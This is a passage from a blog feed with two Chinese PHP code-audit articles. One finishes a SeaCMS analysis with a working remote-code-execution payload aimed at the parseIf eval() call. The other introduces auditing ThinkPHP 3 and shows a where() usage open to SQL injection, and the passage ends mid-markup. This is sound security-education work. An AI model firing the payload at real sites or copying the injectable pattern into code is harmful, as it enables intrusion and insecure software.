class="hljs-variable">$$k</span>=_RunMagicQuotes(gbutf8(RemoveXSS(<span class="hljs-variable">$v</span>)));<br><span class="hljs-variable">$schwhere</span>.= <span class="hljs-string">"&<span class="hljs-subst">$k</span>="</span>.urlencode(<span class="hljs-variable">$$k</span>);<br>}<br><span class="hljs-variable">$page</span> = (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$page</span>) && is_numeric(<span class="hljs-variable">$page</span>)) ? <span class="hljs-variable">$page</span> : <span class="hljs-number">1</span>;<br>echoSearchPage();<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">echoSearchPage</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">if</span>(intval(<span class="hljs-variable">$searchtype</span>)==<span class="hljs-number">5</span>)<br>{<br><span class="hljs-variable">$searchTemplatePath</span> = <span class="hljs-string">"/templets/"</span>.<span class="hljs-variable">$GLOBALS</span>[<span class="hljs-string">'cfg_df_style'</span>].<span class="hljs-string">"/"</span>.<span class="hljs-variable">$GLOBALS</span>[<span class="hljs-string">'cfg_df_html'</span>].<span class="hljs-string">"/cascade.html"</span>;<br> ……<br> }<br> ……<br> <span class="hljs-variable">$content</span> = str_replace(<span class="hljs-string">"{searchpage:page}"</span>,<span class="hljs-variable">$page</span>,<span class="hljs-variable">$content</span>);<br><span class="hljs-variable">$content</span> = str_replace(<span class="hljs-string">"{seacms:searchword}"</span>,<span class="hljs-variable">$searchword</span>,<span class="hljs-variable">$content</span>);<br><span class="hljs-variable">$content</span> = str_replace(<span class="hljs-string">"{seacms:searchnum}"</span>,<span class="hljs-variable">$TotalResult</span>,<span class="hljs-variable">$content</span>);<br><span class="hljs-variable">$content</span> = str_replace(<span class="hljs-string">"{searchpage:ordername}"</span>,<span class="hljs-variable">$order</span>,<span class="hljs-variable">$content</span>);<br> ……<br><span class="hljs-variable">$content</span>=<span class="hljs-variable">$mainClassObj</span>->parseIf(<span class="hljs-variable">$content</span>);<br>}<br><br></code></pre></td></tr></table></figure><p>通过 <code>search.php</code> 的代码可以知道的是该文件具有单独执行能力且位于前台,该文件单独对GPC数据做了全局过滤,同样使用了<code>$$</code>的方式赋值GPC数据,可能造成变量覆盖的问题,从而导致在<code>$content</code>替换的内容上我们可控,最终控制<code>parseIf</code> 中 <code>eval()</code>参数,从造成任意代码执行的漏洞。</p><p>以上粗略估计可能存在任意代码执行的漏洞,但程序中变量传递十分复杂,变量能否按我们的需求传递到eval()中执行还不知道,追踪一个参数看看具体过程是否可以实现</p><h3 id="正向利用"><a href="#正向利用" class="headerlink" title="正向利用"></a>正向利用</h3><p>我们可以通过<code>$page</code>、<code>$searchword</code>、<code>$TotalResult</code>、<code>$order</code>等参数控制<code>$content</code>的部分内容,其中只有<code>$order</code>是完全可控的。<code>$order</code>替换的内容是<code>{searchpage:ordername}</code>,在全局搜索中只有<code>cascade.html</code>文件具有这些信息</p><p>当<code>$searchtype==5</code>时,<code>$content</code>文件的内容来自于<code>cascade.html</code>,这个文件内容具有以下关键信息:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"{searchpage:order-time-link}"</span> {<span class="hljs-attr">if:</span>"{<span class="hljs-attr">searchpage:ordername</span>}"==<span class="hljs-string">"time"</span>} <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-success"</span> {<span class="hljs-attr">else</span>} <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-default"</span> {<span class="hljs-attr">end</span> <span class="hljs-attr">if</span>} <span class="hljs-attr">id</span>=<span class="hljs-string">"orderhits"</span>></span>最新上映<span class="hljs-tag"></<span class="hljs-name">a</span>></span><br><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"{searchpage:order-hit-link}"</span> {<span class="hljs-attr">if:</span>"{<span class="hljs-attr">searchpage:ordername</span>}"==<span class="hljs-string">"hit"</span>} <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-success"</span> {<span class="hljs-attr">else</span>} <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-default"</span> {<span class="hljs-attr">end</span> <span class="hljs-attr">if</span>} <span class="hljs-attr">id</span>=<span class="hljs-string">"orderaddtime"</span>></span>最近热播<span class="hljs-tag"></<span class="hljs-name">a</span>></span><br><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"{searchpage:order-score-link}"</span> {<span class="hljs-attr">if:</span>"{<span class="hljs-attr">searchpage:ordername</span>}"==<span class="hljs-string">"score"</span>} <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-success"</span> {<span class="hljs-attr">else</span>} <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-default"</span> {<span class="hljs-attr">end</span> <span class="hljs-attr">if</span>} <span class="hljs-attr">id</span>=<span class="hljs-string">"ordergold"</span>></span>评分最高<span class="hljs-tag"></<span class="hljs-name">a</span>></span><br></code></pre></td></tr></table></figure><p>便可以通过<code>$order</code>参数替换<code>$content</code>中的<code>{searchpage:ordername}</code>。</p><p>至于需要构造什么样的内容,要看 <code>parseif()</code> 解析什么内容,程序代码太复杂,直接打断点看 <code>parseIf()</code> 中匹配 <code>$content</code> 使用的正则为:<code>/{if:(.*?)}(.*?){end if}/is</code></p><img src="img/seacms/image-20210712140321014.png" alt="image-20210712140321014" style="zoom:50%;" /><p>正则表达式 <code>/{if:(.*?)}(.*?){end if}/is</code> 的匹配结果将会有两个匹配子组,最终匹配结果为 <code>$iar</code> 数组,其中 <code>$iar[0]</code> 为整个匹配结果,<code>$iar[1]</code> 和 <code>$iar[2]</code> 为两个匹配子组</p><img src="img/seacms/image-20210712151442878.png" alt="image-20210712151442878" style="zoom:50%;" /><p>其中 <code>eval()</code> 要执行的 <code>$strIf</code> 来自 <code>$iar[1]</code> 即第一个匹配子组</p><img src="img/seacms/image-20210712151703350.png" alt="image-20210712151703350" style="zoom:50%;" /><p>那么我们现在要构造的结果内容就清晰了,构造逻辑大致如下:</p><img src="img/seacms/image-20210712153232403.png" alt="image-20210712153232403" style="zoom:50%;" /><p>代码执行的payload如下:</p><figure class="highlight sas"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sas">searchtype=5<span class="hljs-variable">&searchword</span>=d<span class="hljs-variable">&order</span>=}{<span class="hljs-meta">end</span> <span class="hljs-meta">if</span>}{<span class="hljs-meta">if</span>:1)phpinfo();<span class="hljs-meta">if</span>(1}{<span class="hljs-meta">end</span> <span class="hljs-meta">if</span>}<br></code></pre></td></tr></table></figure><p>payload执行流程如下:</p><img src="img/seacms/image-20210712153756773.png" alt="image-20210712153756773" style="zoom:50%;" /><h1 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h1><p>通过审计 SeaCMS 主要学习他的程序逻辑,而且 SeaCMS 还有几个有趣的漏洞,审计下来收获颇丰 </p><p>参考:</p><p>海洋cms官网:<a href="https://www.seacms.net/">https://www.seacms.net/</a></p><p><a href="https://github.com/SukaraLin/php_code_audit_project">https://github.com/SukaraLin/php_code_audit_project</a></p><p>seacms多个版本的代码执行漏洞:<a href="https://github.com/jiangsir404/PHP-code-audit/tree/master/seacms">https://github.com/jiangsir404/PHP-code-audit/tree/master/seacms</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
</tags>
</entry>
<entry>
<title>总结 ThinkPHP3 代码审计方法</title>
<link href="/2021/09/thinkphp3/"/>
<url>/2021/09/thinkphp3/</url>
<content type="html"><![CDATA[<h1 id="0x00-简介"><a href="#0x00-简介" class="headerlink" title="0x00 简介"></a>0x00 简介</h1><p>ThinkPHP 是国内著名的 php开发框架,基于MVC模式,最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP</p><p>本文主要分析 ThinkPHP v3 的程序代码,通过对 TP3 代码结构分析、底层代码分析、经典历史漏洞复现分析等,学习如何审计 MVC 模式的程序代码,遇到使用 TP3 的代码能够独立审计。即使不想对 TP3 代码做过多了解的小伙伴通过本文也能对TP3程序的漏洞有个清晰的认识</p><p>ThinkPHP v3.x 系列最早发布于 2012 年,于 2018 年停止维护,其中使用最多的是在 2014 年发布的 3.2.3,本文审计代码也是这个版本。也许TP 3现在很少能见到了,但通过对TP 3的完整代码分析,能更好入门 MVC 程序的代码审计</p><h1 id="0x01了解ThinkPHP-3"><a href="#0x01了解ThinkPHP-3" class="headerlink" title="0x01了解ThinkPHP 3"></a>0x01了解ThinkPHP 3</h1><h2 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h2><p>1)tp3程序根目录(默认也是web部署目录)</p><p>TP3的初始目录结构如下:</p><figure class="highlight delphi"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs delphi">www WEB部署目录(或者子目录)<br>├─<span class="hljs-keyword">index</span>.php 入口文件<br>├─README.md README文件<br>├─Application 应用目录,Application目录默认是空的,但是第一次访问入口文件会自动生成<br>├─<span class="hljs-keyword">Public</span> 资源文件目录<br>└─ThinkPHP 框架目录<br></code></pre></td></tr></table></figure><blockquote><p>web根目录部署常见问题</p></blockquote><p>这个时期的 web 根目录部署上都有一个明显的问题,程序的所有文件都位于在 WEB 根目录目录下,这将导致程序的敏感文件也会可以通过 web 服务获取。如可以直接访问 Application/Runtime/Logs/ 下的日志文件,网上也有对应的通过爆破获取 tp3 程序中的日志文件</p><img src="img/ThinkPHP3/image-20210730105644942.png" alt="image-20210730105644942" style="zoom: 33%;" /><p>2)框架目录</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs reasonml">├─ThinkPHP 框架系统目录(可以部署在非web目录下面)<br>│ ├─Common 核心公共函数目录<br>│ ├─Conf 核心配置目录 <br>│ ├─Lang 核心语言包目录<br>│ ├─Library 框架类库目录<br>│ │ ├─Think 核心Think类库包目录<br>│ │ ├─Behavior 行为类库目录<br>│ │ ├─Org Org类库包目录<br>│ │ ├─Vendor 第三方类库目录<br>│ │ ├─<span class="hljs-operator"> ... </span>更多类库目录<br>│ ├─Mode 框架应用模式目录<br>│ ├─Tpl 系统模板目录<br>│ ├─<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">LICENSE</span>.</span></span>txt 框架授权协议文件<br>│ ├─logo.png 框架LOGO文件<br>│ ├─<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">README</span>.</span></span>txt 框架README文件<br>│ └─<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">ThinkPHP</span>.</span></span>php 框架入口文件<br></code></pre></td></tr></table></figure><p>3)应用目录</p><p>TP 3 采用模块化的设计架构,</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php">Application 默认应用目录(可以设置)<br>├─Common 公共模块(不能直接访问)<br>├─Home 前台模块<br>├─Admin 后台模块<br>├─... 其他更多模块<br>├─Runtime 默认运行时目录(可以设置)<br></code></pre></td></tr></table></figure><p>每个模块是相对独立的,其目录结构如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs php">├─Module 模块目录<br>│ ├─Conf 配置文件目录<br>│ ├─Common 公共函数目录<br>│ ├─Controller 控制器目录<br>│ ├─Model 模型目录<br>│ ├─Logic 逻辑目录(可选)<br>│ ├─Service Service目录(可选)<br>│ ... 更多分层目录可选<br>│ └─View 视图目录<br></code></pre></td></tr></table></figure><p>Common模块是一个特殊的模块,是应用的公共模块,访问所有的模块之前都会首先加载公共模块下面的配置文件(<code>Conf/config.php</code>)和公共函数文件(<code>Common/function.php</code>)</p><h2 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h2><p>在 ThinkPHP 中,一般来说应用的配置文件是自动加载的,加载的顺序是:</p><p>惯例配置->应用配置->模式配置->调试配置->状态配置->模块配置->扩展配置->动态配置</p><blockquote><p>以上是配置文件的加载顺序,后面的配置会覆盖之前的同名配置</p></blockquote><ul><li>惯例配置</li></ul><p>惯例配置文件:<code>ThinkPHP/Conf/convention.php</code>。该文件一般不会修改</p><ul><li>应用配置</li></ul><p>应用配置文件也就是调用所有模块之前都会首先加载的<strong>公共配置文件</strong>,默认位于 <code>Application/Common/Conf/config.php</code></p><ul><li>模块配置</li></ul><p>每个模块会自动加载自己的配置文件,位于 <code>Application/当前模块名/Conf/config.php</code></p><hr><p>在获取到目标程序源码时翻一翻这些配置文件主要收获在于获取数据库的配置信息</p><p>另外也可以翻翻<strong>模型</strong>代码,可能会有意外收获,因为在TP 3中实例化模型的时候可以使用dns连接数据库</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">new</span> \Home\Model\NewModel(<span class="hljs-string">'blog'</span>,<span class="hljs-string">'think_'</span>,<span class="hljs-string">'mysql://root:1234@localhost/demo'</span>);<br></code></pre></td></tr></table></figure><p>另外一点需要注意的是,TP3中一个配置文件就可以实现很多信息的配置,如<strong>数据库配置信息</strong>,<strong>路由规则配</strong>置等都会放在一个文件中。在TP5中则是通过专门的文件去配置不同的需求,如路由配置文件专门负责配置路由,数据库配置文件专门负责配置数据库信息</p><h2 id="路由处理"><a href="#路由处理" class="headerlink" title="路由处理"></a>路由处理</h2><p>在 TP3 中默认路由处理方式如下:</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs awk">http:<span class="hljs-regexp">//</span>tp3.com<span class="hljs-regexp">/index.php/</span>Home<span class="hljs-regexp">/Index/i</span>ndex<span class="hljs-regexp">/id/</span><span class="hljs-number">1</span><br> 入口文件模块<span class="hljs-regexp">/控制器/</span>方法/参数<br></code></pre></td></tr></table></figure><p>还可以使用兼容模式</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs awk">index.php?s=Home<span class="hljs-regexp">/Index/i</span>ndex<span class="hljs-regexp">/id/</span><span class="hljs-number">1</span><br>入口文件模块<span class="hljs-regexp">/控制器/</span>方法/参数<br></code></pre></td></tr></table></figure><hr><p>TP3 具有路由转发的功能,具体路由规则在<strong>应用配置文件,或者模块配置文件</strong>中,上面有提及这两个文件的位置</p><p>配置方式如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 开启路由</span><br><span class="hljs-string">'URL_ROUTER_ON'</span> => <span class="hljs-literal">true</span>,<br><span class="hljs-comment">// 路由规则</span><br><span class="hljs-string">'URL_ROUTE_RULES'</span>=> <span class="hljs-keyword">array</span>(<br> <span class="hljs-string">'news/:year/:month/:day'</span> => <span class="hljs-keyword">array</span>(<span class="hljs-string">'News/archive'</span>, <span class="hljs-string">'status=1'</span>),<br> <span class="hljs-string">'news/:id'</span> => <span class="hljs-string">'News/read'</span>,<br> <span class="hljs-string">'news/read/:id'</span> => <span class="hljs-string">'/news/:1'</span>,<br>),<br></code></pre></td></tr></table></figure><p>如果路由规则位于应用配置文件,路由规则则作用于全局。如果路由规则位于模块配置文件,则只作用于当前模块,在访问对应路由时要加上模块名,如在home模块配置文件定义了如上的路由,访问方式为<code>http://test.com/home/news/1</code></p><h2 id="快捷方法"><a href="#快捷方法" class="headerlink" title="快捷方法"></a>快捷方法</h2><p>TP 3 对一些经常使用操作封装成了<strong>快捷方法</strong>,目的在于使程序更加简单安全。在TP 3官方文档中并没有做系统的介绍,不过在TP 5中就有系统整理,并且还给了一个规范命名:<strong>助手函数</strong></p><p>快捷方法来自 ThinkPHP/Common/functions.php,下面介绍几个</p><h3 id="I方法"><a href="#I方法" class="headerlink" title="I方法"></a>I方法</h3><p>PHP 程序一般使用 <code>$_GET, $_POST</code> 等全局变量获取外部数据, 在ThinkPHP封装了一个<strong>I方法</strong>可以更加方便和安全的获取外部变量,用法格式如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">I(<span class="hljs-string">'变量类型.变量名/修饰符'</span>,[<span class="hljs-string">'默认值'</span>],[<span class="hljs-string">'过滤方法或正则'</span>],[<span class="hljs-string">'额外数据源'</span>])<br></code></pre></td></tr></table></figure><p>示例:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">echo</span> I(<span class="hljs-string">'get.id'</span>); <span class="hljs-comment">// 相当于 $_GET['id']</span><br><span class="hljs-keyword">echo</span> I(<span class="hljs-string">'get.name'</span>); <span class="hljs-comment">// 相当于 $_GET['name']</span><br><span class="hljs-keyword">echo</span> I(<span class="hljs-string">'get.name'</span>,<span class="hljs-string">''</span>,<span class="hljs-string">'htmlspecialchars'</span>); <span class="hljs-comment">// 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串</span><br></code></pre></td></tr></table></figure><p>如果没有传入过滤的方法,系统会采用默认的过滤机制,这个可以在配置文件中获取</p><h3 id="C方法"><a href="#C方法" class="headerlink" title="C方法"></a>C方法</h3><p>读取配置文件里面的数据</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//读取当前的URL模式配置参数</span><br><span class="hljs-variable">$model</span> = C(<span class="hljs-string">'URL_MODEL'</span>);<br></code></pre></td></tr></table></figure><h3 id="M方法-D方法"><a href="#M方法-D方法" class="headerlink" title="M方法/D方法"></a>M方法/D方法</h3><p>用于数据模型的实例化操作,具体这两个方法怎么实现,有什么区别,暂时就不多关注了,只用知道通过这两个快捷方法能快速实例化一个数据模型对象,从而操作数据库</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//实例化模型</span><br><span class="hljs-comment">// 相当于 $User = new \Home\Model\UserModel();</span><br><span class="hljs-variable">$User</span> = D(<span class="hljs-string">'User'</span>);<br><span class="hljs-comment">// 和用法 $User = new \Think\Model('User'); 等效</span><br><span class="hljs-variable">$User</span> = M(<span class="hljs-string">'User'</span>);<br></code></pre></td></tr></table></figure><h2 id="模型"><a href="#模型" class="headerlink" title="模型"></a>模型</h2><p>TP3 是基于 MVC 模式的架构,数据库和程序大部分逻辑都在<strong>模型M</strong>处处理。TP3 在<strong>模型M</strong>的底层设计上,出现了很多 sql 注入这样的问题,这里复现它的漏洞前,先熟悉一下底层的设计</p><h3 id="Think-Model类"><a href="#Think-Model类" class="headerlink" title="\Think\Model类"></a>\Think\Model类</h3><p>TP3 的<strong>模型基类</strong>为 <strong>\Think\Model类</strong>,在 <strong>ThinkPHP/Library/Think/Model.class.php</strong> 中被定义。该类实现了ActiveRecord模式</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Model.class.php</span><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">Think</span>;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Model</span> </span>{<br> <span class="hljs-comment">// 当前数据库操作对象</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$db</span> = <span class="hljs-literal">null</span>;<br> <span class="hljs-comment">// 数据表前缀,默认从获取配置文件中获取,默认配置为 think_</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$tablePrefix</span> = <span class="hljs-literal">null</span>;<br> <span class="hljs-comment">// 模型名称</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$name</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">// 数据库名称</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$dbName</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">// 数据库配置</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$connection</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">// 数据表名(不包含表前缀),一般情况下默认和模型名称相同</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$tableName</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">// 取得DB类的实例对象 字段检查</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$name</span>=<span class="hljs-string">''</span>,<span class="hljs-variable">$tablePrefix</span>=<span class="hljs-string">''</span>,<span class="hljs-variable">$connection</span>=<span class="hljs-string">''</span></span>) </span>{<br> <span class="hljs-comment">// 建立数据库连接,数据库连接句柄最终保存在$this->db</span><br> <span class="hljs-keyword">$this</span>->db(<span class="hljs-number">0</span>,<span class="hljs-keyword">empty</span>(<span class="hljs-keyword">$this</span>->connection)?<span class="hljs-variable">$connection</span>:<span class="hljs-keyword">$this</span>->connection,<span class="hljs-literal">true</span>);<br> }<br> ……<br></code></pre></td></tr></table></figure><h3 id="继承模型基类示例"><a href="#继承模型基类示例" class="headerlink" title="继承模型基类示例"></a>继承模型基类示例</h3><p>生成 Application/Home/Model/UserModel.class.php ,定义了一个 UserModel 模型类继承了模型基类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">namespace</span> <span class="hljs-title">Home</span>\<span class="hljs-title">Model</span>;<br><span class="hljs-keyword">use</span> <span class="hljs-title">Think</span>\<span class="hljs-title">Model</span>;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UserModel</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Model</span> </span>{<br>}<br></code></pre></td></tr></table></figure><h3 id="模型实例化"><a href="#模型实例化" class="headerlink" title="模型实例化"></a>模型实例化</h3><p>模型实例化有以下几种方法:</p><p>1)首先通过类名可以直接实例化</p><p>实例化上面定义的 UserModel 类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span> = <span class="hljs-keyword">new</span> \Home\Model\UserModel();<br></code></pre></td></tr></table></figure><p>2)另外 ThinkPHP 还提供了快捷方法,用于实例化模型:<strong>D方法</strong>和<strong>M方法</strong></p><p>D 方法用于实例化具体的模型类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-comment">//实例化模型</span><br><span class="hljs-variable">$User</span> = D(<span class="hljs-string">'User'</span>);<br><span class="hljs-comment">// 相当于 $User = new \Home\Model\UserModel();</span><br><span class="hljs-comment">// 执行具体的数据操作</span><br><span class="hljs-variable">$User</span>->select();<br></code></pre></td></tr></table></figure><p>M 方法不会加载具体的类,而是直接实例化利用模型基类,只定义一个名字,这样就能指定对应的表名,性能会高一点</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 使用M方法实例化</span><br><span class="hljs-variable">$User</span> = M(<span class="hljs-string">'User'</span>);<br><span class="hljs-comment">// 和用法 $User = new \Think\Model('User'); 等效</span><br><span class="hljs-comment">// 执行其他的数据操作</span><br><span class="hljs-variable">$User</span>->select();<br></code></pre></td></tr></table></figure><p>3)实例化空模型类</p><p>使用原生SQL查询的话,不需要使用额外的模型类,实例化一个空模型类即可进行操作了,例如:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//实例化空模型</span><br><span class="hljs-variable">$Model</span> = <span class="hljs-keyword">new</span> Model();<br><span class="hljs-comment">//或者使用M快捷方法是等效的</span><br><span class="hljs-variable">$Model</span> = M();<br><span class="hljs-comment">//进行原生的SQL查询</span><br><span class="hljs-variable">$Model</span>->query(<span class="hljs-string">'SELECT * FROM think_user WHERE status = 1'</span>);<br></code></pre></td></tr></table></figure><h3 id="模型基类的数据库操作"><a href="#模型基类的数据库操作" class="headerlink" title="模型基类的数据库操作"></a>模型基类的数据库操作</h3><p>TP3 <strong>模型基础类Model类</strong> 提供了很多操作数据库的方法,下面看一下一些常用方法:</p><ul><li>where()</li></ul><p>决定 where 字段的构造</p><p>where方法的参数支持字符串和数组,主要用于获取sql语句的where部分</p><p>1)参数为数组</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"User"</span>); <span class="hljs-comment">// 实例化User对象</span><br><span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->field(<span class="hljs-string">'username,age'</span>)->where(<span class="hljs-keyword">array</span>(<span class="hljs-string">'username'</span>=><span class="hljs-variable">$name</span>))->select();<br></code></pre></td></tr></table></figure><p>最后执行的SQL语句:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> `username`,`age` <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">WHERE</span> `username` <span class="hljs-operator">=</span> <span class="hljs-string">'wang'</span><br></code></pre></td></tr></table></figure><p>2)参数为字符串</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"User"</span>); <span class="hljs-comment">// 实例化User对象</span><br><span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->field(<span class="hljs-string">'username,age'</span>)->where(<span class="hljs-string">"username='%s'"</span>,<span class="hljs-variable">$name</span>)->select();<br></code></pre></td></tr></table></figure><p>最后执行的sql语句:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> `username`,`age` <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">WHERE</span> ( username<span class="hljs-operator">=</span><span class="hljs-string">'wang'</span> )<br></code></pre></td></tr></table></figure><p>3)<strong>存在漏洞的用法</strong></p><p>然后我就发现一种存在漏洞的写法,通过双引号包裹参数变量自动解析,这样传入的参数不会被过滤,通过闭合单引号和括号就能造成sql注入,即使这里使用 <strong>I方法</strong> 过滤也无效,从而造成sql注入,在代码审计时可以注意下程序中是否存在这个情况</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"User"</span>); <span class="hljs-comment">// 实例化User对象</span><br><span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br><span class="hljs-variable">$User</span>->field(<span class="hljs-string">'username,age'</span>)->where(<span class="hljs-string">"username='<span class="hljs-subst">$name</span>'"</span>)->select();<br></code></pre></td></tr></table></figure><p>实际sql语句</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span 